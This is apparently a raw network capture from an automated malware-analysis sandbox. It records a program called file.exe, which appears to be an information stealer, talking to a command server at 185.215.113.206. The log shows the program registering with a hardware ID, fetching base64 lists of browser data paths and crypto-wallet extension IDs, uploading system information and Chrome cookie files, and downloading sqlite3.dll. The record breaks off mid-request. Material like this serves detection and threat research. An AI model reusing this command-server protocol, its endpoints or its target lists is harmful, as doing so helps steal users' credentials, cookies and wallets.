Dec 7, 2024 15:06:12.230144978 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 31 45 32 35 42 39 46 34 41 32 36 39 39 32 39 33 31 33 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="hwid"B61E25B9F4A2699293130------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="build"drum------HIIEGHJJDGHCAKEBGIJK--
Dec 7, 2024 15:06:12.680149078 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 49 78 4d 57 59 35 4d 6a 45 35 5a 6a 63 31 4d 54 5a 6c 59 6a 45 77 4e 32 4e 68 59 54 6b 32 4d 47 59 35 59 6a 68 6a 4d 7a 49 35 4d 7a 4d 31 59 32 5a 6d 4d 44 64 6c 59 54 52 6a 4e 6a 42 68 59 6a 55 35 4e 44 63 33 4e 6d 4d 34 4d 32 56 68 59 54 6c 69 5a 44 41 32 5a 57 4e 6a 4e 32 59 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTIxMWY5MjE5Zjc1MTZlYjEwN2NhYTk2MGY5YjhjMzI5MzM1Y2ZmMDdlYTRjNjBhYjU5NDc3NmM4M2VhYTliZDA2ZWNjN2Y4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 7, 2024 15:06:12.681940079 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"browsers------DHDHJJJECFIECBGDGCAA--
Dec 7, 2024 15:06:13.121717930 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 7, 2024 15:06:13.121829033 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 7, 2024 15:06:13.122963905 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFHIDGIJKJKECBGDBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 2d 2d 0d 0a Data Ascii: ------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="message"plugins------HDAFHIDGIJKJKECBGDBG--
Dec 7, 2024 15:06:13.562494040 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 7, 2024 15:06:13.562561035 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 7, 2024 15:06:13.562576056 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 7, 2024 15:06:13.562652111 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 7, 2024 15:06:13.562689066 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Dec 7, 2024 15:06:13.562702894 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Dec 7, 2024 15:06:13.570946932 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Dec 7, 2024 15:06:13.572437048 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIJECFIECBFIDGDAKFH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 2d 2d 0d 0a Data Ascii: ------CGIJECFIECBFIDGDAKFHContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------CGIJECFIECBFIDGDAKFHContent-Disposition: form-data; name="message"fplugins------CGIJECFIECBFIDGDAKFH--
Dec 7, 2024 15:06:14.011173964 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 7, 2024 15:06:14.032679081 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.206 Content-Length: 5923 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 15:06:14.032793999 CET	5923	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"e211f9219f7516eb107caa960f9b8c329335cff07ea4c60ab594776c83eaa9bd06ecc7f8------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 7, 2024 15:06:14.992110014 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 15:06:15.264724016 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 7, 2024 15:06:15.701816082 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 7, 2024 15:06:15.701931953 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 7, 2024 15:06:15.706062078 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49726	185.215.113.206	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:06:25.107165098 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAE Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 31 31 66 39 32 31 39 66 37 35 31 36 65 62 31 30 37 63 61 61 39 36 30 66 39 62 38 63 33 32 39 33 33 35 63 66 66 30 37 65 61 34 63 36 30 61 62 35 39 34 37 37 36 63 38 33 65 61 61 39 62 64 30 36 65 63 63 37 66 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 